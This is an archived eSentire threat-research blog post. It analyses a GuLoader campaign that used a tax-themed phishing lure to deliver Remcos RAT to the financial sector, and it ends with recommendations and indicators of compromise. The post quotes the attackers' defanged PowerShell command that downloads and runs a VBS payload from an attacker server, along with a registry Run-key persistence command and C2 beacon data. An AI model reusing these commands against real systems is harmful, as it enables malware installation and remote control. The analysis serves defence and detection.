GuLoader Targeting the Financial Sector Using a Tax-themed
Phishing Lure
By eSentire Threat Response Unit (TRU)
Archived: 2026-04-05 23:39:10 UTC
Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and
Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.
We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya
MSP breach and the more_eggs malware.
Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat
Analytics driven by our Threat Response Unit – the TRU team.
In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We
outline how we responded to the confirmed threat and what recommendations we have going forward.
Here’s the latest from our TRU Team…
What did we find?
GuLoader, also known as CloudEyE, is a loader malware that is known to deliver additional malware, such as
infostealers and Remote Access Trojans (RATs). The loader contains multiple stages of shellcode and is known for
being one of the most advanced loaders with numerous anti-analysis techniques.
In March 2022, TRU observed GuLoader targeting the financial sector via the phishing email using a tax-themed lure.
The phishing email contained a shared link to Adobe Acrobat, where the user could download the password-protected
ZIP archive (Figure 1).
Figure 1: The malicious ZIP archive shared by an attacker
The ZIP archive contains a decoy image and a shortcut file disguised as a PDF (Figure 2).
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Figure 2: Contents of the password-protected ZIP archive
The shortcut file leverages PowerShell to retrieve additional payloads from the website. Here is the example of the
spawned PowerShell one-liner command:
“powershell.exe" n; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/Blotlg.vbs -OutFile
C:\Windows\Tasks\Repmlice.vbs; C:\Windows\Tasks\Repmlice.vbs; Invoke-WebRequest
hxxp://0x6D[.]13561923/xlog/info.pdf -OutFile C:\Users\Public\details.pdf; C:\Users\Public\details.pdf
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Figure 3: The web server hosting Remcos RAT and GuLoader payloads
First, the command retrieves the VBS file from the encoded domain that translates to
hxxp://109.206.240[.]67/xlog/Blotlg.vbs. The VBS file is saved under C:\Windows\Tasks and Remplice.vbs. Then the
decoy PDF file is fetched and saved under the C:\Users\Public folder as details.pdf. The PDF file is then automatically
opened to distract the user from the malicious VBS script execution in the background (Figure 4).
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Figure 4: PDF decoy document
The obfuscated VBS script is responsible for writing the base64-encoded GuLoader shellcode payload to registry keys
and executing the GuLoader payload via PowerShell (Figures 5-6).
The shellcode is written under:
HKEY_CURRENT_USER\Amuyon\Impressed\Fusentasteris
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Figure 5: The obfuscated VBS file
Figure 6: GuLoader shellcode payload written to the registry from the VBS file
GuLoader achieves persistence via Registry Run Keys (Figure 7). The registry data is a PowerShell command that
retrieves the value of the 'Parlando' property for the registry key located at 'HKCU:\State'.
%SaltoQ% -w 1 $Returkuverter=(Get-ItemProperty -Path 'HKCU:\State\').Parlando;%SaltoQ%
($Returkuverter)
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Figure 7: Persistence via Registry Run Keys
The “State” registry key contains the obfuscated PowerShell script that reflectively loads the GuLoader shellcode in
memory (Figure 8).
Figure 8: Obfuscated PowerShell script
The secondary PowerShell script contains the strings that are XOR-ed with the decimal 50 (Figure 9). Upon decoding
the script, we can observe that the PowerShell script is responsible for executing two shellcode buffers that are Base64-
decoded and converted into a byte array.
Figure 9: Decoded PowerShell secondary script
The first 647 bytes of the shellcode are responsible for decoding the second part of the shellcode, which is the rest of
the shellcode (Figure 10).
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Figure 10: Decoding the shellcode
The shellcode retrieves the Remcos RAT from the web server (hxxp://109.206.240[.]67/xlog/TkhoWbbRT180.pfm) and
injects it into the ieinstal.exe process.
Example of the data extracted from memory which is being sent to Remcos C2 from a sandbox environment:
||US|Windows 10 Enterprise (64 bit)|4294430720|4.4.0 Pro|C:\\ \AppData\Roaming\urtfghn.dat|C:\Program Files
(x86)\internet explorer\ieinstal.exe|Filter|1|281|8314921|0|xlongactive[.]su|urtfghn-W5RHNP|0|C:\Program Files
(x86)\internet explorer\ieinstal.exe|Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz|Exe|
xlongactive[.]su:2404:1|Crypted|1|1|8|xilroe.exe|Remcos|0||urtfghn-W5RHNP|1|6|urtfghn.dat|10|5|6|Screenshots|5|MicRecords|0|0|0|1|Remcos|092D17FEBC648A7C02A13113CDC4F590|0|0|
How did we find it?
eSentire’s MDR for Endpoint identified execution behavior associated with GuLoader.
What did we do?
Further infection was prevented by eSentire’s MDR for Endpoint.
Our 24/7 SOC Cyber Analysts responded to the threat and took containment actions, isolating the infected host
on the customer’s behalf and alerting the customer to the malicious activity.
What can you learn from this TRU positive?
Tax-themed phishing lures are a popular tactic used by cybercriminals during tax season to plant malware and
steal sensitive information from unsuspecting victims.
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These lures typically take the form of fake emails that appear to be from legitimate tax authorities, such
as the IRS, and often contain urgent messages about tax refunds or payments. Once the malware is
installed, attackers can access the victim's system and data, allowing them to conduct further attacks.
Malicious shortcuts disguised as legitimate files, such as PDFs, can be an effective way to trick users into
executing malicious code on the machine. One reason why these attacks can be so effective is that many users
are accustomed to receiving and opening PDF files. The attacker (s) can exploit this familiarity to create
archives that look like they contain important PDF attachments.
The most recent GuLoader malware variant uses obfuscated VBS and PowerShell to drop and inject additional
malware, such as Remcos RAT, into a legitimate process, making it difficult to detect. Injecting the code into a
legitimate process helps the malware evade antivirus software and other security tools.
Password-protected zip archives can be an efficient way to bypass email filters and antiviruses. By compressing
a file into a password-protected archive, the file becomes more difficult for antiviruses and email filters to scan
and analyze since they cannot scan the contents of the archive without the correct password.
Recommendations from our Threat Response Unit (TRU) Team:
Individuals and organizations should be vigilant when receiving unsolicited emails or messages related to taxes.
Train users to identify and report potentially malicious content using Phishing and Security Awareness Training
(PSAT) programs.
Protect endpoints against malware by:
Ensuring antivirus signatures are up-to-date.
Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain
threats.
Indicators of Compromise
Name Indicator
Blotlg.vbs d79593a6fb6c636a50334085b9d6018b
info.pdf cc6440a764050a8adf530efe2a989d25
PowerShell obfuscated script d2b6255b7076eb754921121489804fee
Shellcode dfb72ba81b0f765d1676f856d6af82c7
Decrypted shellcode d7baac59e5aa6122621c31f0afb49119
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C2 (opendir) 109.206.240[.]67
Remcos RAT C2 xlongactive[.]su
Password-protected ZIP archive fa0b3b0e5b7b5aa9a2da7bebbc15ab0e944d984b
eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections
enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and
automate rapid response to advanced threats.
If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put
your business ahead of disruption.
Learn what it means to have an elite team of Threat Hunters and Researchers that works for you. Connect with an
eSentire Security Specialist.
To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next Level
MDR, connect with an eSentire Security Specialist now.
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Source: https://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure
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